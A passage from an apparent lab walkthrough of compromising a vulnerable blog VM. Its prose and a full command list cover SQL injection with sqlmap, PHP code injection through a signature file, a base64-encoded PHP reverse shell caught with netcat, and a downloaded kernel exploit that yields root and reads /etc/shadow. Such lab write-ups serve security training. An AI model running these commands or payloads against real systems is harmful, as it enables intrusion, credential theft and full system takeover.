Another feature of burp is its 'repeater', which allows for data to be easily viewed, edited and sent multiple times. The attacker locates the request which was made at the beginning with junk data and passes it to the repeater and updates the respectable fields with the newly acquired credentials. The attacker notices another field, which, when they made the 'normal' request with the junk data, they didn't have 'control' over. This 'hidden' field looks like it as a file extension that is commonly used for text files. Before the attacker makes the new request, they add an additional forward slash which is used to signal the use of folders instead of files in a Linux environment (which the attacker managed to identify when they used SQLMap). At the end of the response of the web application, is an error message informing the end user that it isn't able to access the file or folder (this is due to the modified request), along with detailed paths such as the file which failed to access the location as well as the location which failed! The attacker copies the failed location and amends the path, to view the content which should have been requested. Upon viewing it, the attacker sees that this is the location of the signature for the user (text which is always included when the user makes a post). This wasn't stored in the database, but in a file instead, which means to allow users to update their signatures this folder has to be writeable. The attacker goes back to the repeater, and tries to use a single PHP coded line in the signature to see if they are able to execute PHP functions on the server itself. Before they made the request, they fix the hidden field to be correct, as well as update the file format to indicate that it’s a PHP file and not a text document. The result is that the attacker was able to view their simple processed test message, not the code itself, which means the attacker, is able to write PHP functions and the target executes it.
Pentest monkey has created "php-reverse-shell" which allows for an interactive shell to spawn by using PHP. The attacker makes a copy of it, making sure the original version isn't edited. Due to the nature of the shell, its reversed, which means communication comes back to the attacker, thus the shell needs to be able to locate the attacker. The attacker then specifies their IP address and a port of their choosing. After updating the shell, the attacker encodes it using "msfvenom" to 'base64'. The reasoning for this is because we do not wish for the content of the shell to be interpreted by the blogging software's update profile feature, as there is a chance the contents of the shell could be interrupted before it's all submitted. Editor's note: There are other reasons for encoding it, but I'm not discussing them now.
Before the attacker views the new signature, which would trigger the shell to be executed, the attacker needs to set up a listener, which will capture the request from the target with an interactive shell. The attacker uses "netcat" to be the handler as it is a 'swiss army knife', and is able to understand the raw data being sent from the target to it. The attacker has netcat listening on the same port as used in the shell, and then requests the php shell signature to be displayed. The target then executes the PHP commands, which decodes the base64 shell, and then processes the contents causing a shell to be sent back to the attacker. The end result being the attacker is now able to execute commands locally on the target machine using a interactive shell.
The attacker quickly checks to see which user they are currently logged in as. This will be the same as the web service as that was the process to execute the shell connection. The attacker now tries to escape privileges to gain a higher level of access to the system. One common method is by exploiting the kernel (ONLY if it is vulnerable!). The attacker finds the current kernel version out and searches their local copy of a public exploit database ("exploit-db.com"). Upon searching for the exact same kernel version, it only returns one known exploit (which was un-successful). The attacker carries on by searching for the same "major.intermediate" versions (removed ".minor"), and sorts them in ascending order. This returns results for kernel versions that are higher and lower than the target version as well as "generic" ones. The justification for this is due to how the exploits are labelled. In the name of the exploit the vulnerable version could be for a certain version AND lower versions. Therefore as the searched string wouldn't match and it wouldn't be displayed in the results yet it could work. After searching the results, the attacker finds a suitable exploit that will potentially work. After viewing the exploit, it requires additional files to be downloaded. The attacker downloads the exploit package and moves it to their local root folder website path. They make sure the exploit is able to be read by anyone by giving it the certainly permissions as the web server uses a different user than the one which the attacker is currently logged in as and executing commands as. The last stage is to start the web service.
Using the target, the attacker locates a folder which they have the permission to write and execute files from. After locating such a path, the attacker then controls the target to download the exploit package from the attacker and extract it. The included bash script does all the necessary commands and the end result is that the attacker has now gotten root access to the machine.
Game over
Upon exploring the file structure, in the home folder for the user "testuser" there is a folder called "stuff" which is only accessible to the superuser, root. Inside the folder, is a compressed archive of what appears to be the digital magazine, phrack. After it has been extracted and checking on the website the file was confirmed to be volume 67.
Game over...again
Commands
Code:
netdiscover -r 192.168.0.1/24
us -H -msf -Iv 192.168.0.110 -p 1-65535 && us -H -mU -Iv 192.168.0.110 -p 1-65535
nmap -p 1-65535 -T4 -A -v 192.168.0.110 # -p 22,25,80,139,445,3306,7777
firefox -> 192.168.0.110
BT -> BackTrack -> Vulnerability Assessment -> Web Application Assessment -> Web Application Proxies -> burpsuite
// Burp -> Proxy -> Intercept -> Off. Proxy -> Options -> Port: 8080. Options -> Misc -> Proxy -> Requests (Enable) -> /root/burp.log. Target.
// Firefox -> Edit -> Preferences -> Advance -> Network -> Settings -> Manual proxy configurations -> 127.0.0.1:8080. blog (/myblog/) [username: blogger] -> Post new entry! (/admin/post.php) -> test // test // test
cd /pentest/database/sqlmap/
./sqlmap.py -l /root/burp.log --banner --current-user --current-db --is-dba
./sqlmap.py -l /root/burp.log --passwords
./sqlmap.py -l /root/burp.log --batch --file-read=/etc/passwd
cat /pentest/database/sqlmap/output/192.168.0.110/files/_etc_passwd
./sqlmap.py -l /root/burp.log --batch --dbs
./sqlmap.py -l /root/burp.log --batch --tables
./sqlmap.py -l /root/burp.log --batch --columns --count -D blogdb
./sqlmap.py -l /root/burp.log --batch --dump -D blogdb
// Burp -> target -> site map -> right click -> send to repeater. Repeater -> request -> params. Username: blogger Password: blogger01 sig: test frame: /sig.txt
// firefox -> 192.168.0.110/profiles/blogger-sig.txt
// Burp -> target -> site map -> right click -> send to repeater. Repeater -> request -> params. Username: blogger Password: blogger01 sig: <?php echo "test test 123"; ?> frame: sig.php
// firefox -> 192.168.0.110/profiles/blogger-sig.php
cp /pentest/backdoors/web/webshells/php-resever-shell.php /tmp/shell.php
cd /tmp
nano shell.php # remove "<?" and "?>". Edit IP address and port [ifconfig eth0]
msfvenom -p generic/custom -e php/base64 -f raw PAYLOADFILE=shell.php
nc -lvvp 443
// Burp -> target -> site map -> right click -> send to repeater. Repeater -> request -> params. Username: blogger Password: blogger01 sig: <?php [msf output] ?>
// firefox -> 192.168.0.110/profiles/blogger-sig.php
# Burp -> file -> exit.
# Firefox -> edit -> Preferences -> Advance -> Network -> Settings -> use system proxy settings
id
uname -a
cd /pentest/exploits/exploitdb
cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6.8
cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | cut -d "," -f 3 | sort
cat files.csv | egrep -i "linux|kernel|local" | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3
cat platforms/linux/local/9574.txt
wget http://exploit-db.com/sploits/2009-therebel.tgz -O /var/www/exploit.tgz
chmod 755 /var/www/exploit.tgz
/etc/init.d/apache2 start
cd /tmp
wget 192.168.0.162/exploit.tgz
tar zxvf exploit.tgz
cd therebel
ls -lAh
bash therebel.sh
id
/sbin/ifconfig eth0 && uname -a && cat /etc/shadow && ls -lAh /root
cd /home
alias ls="ls -lAh"
ls
cd testuser
ls
cd stuff
ls
tar zxvf phrack67.tar.gz
ls 67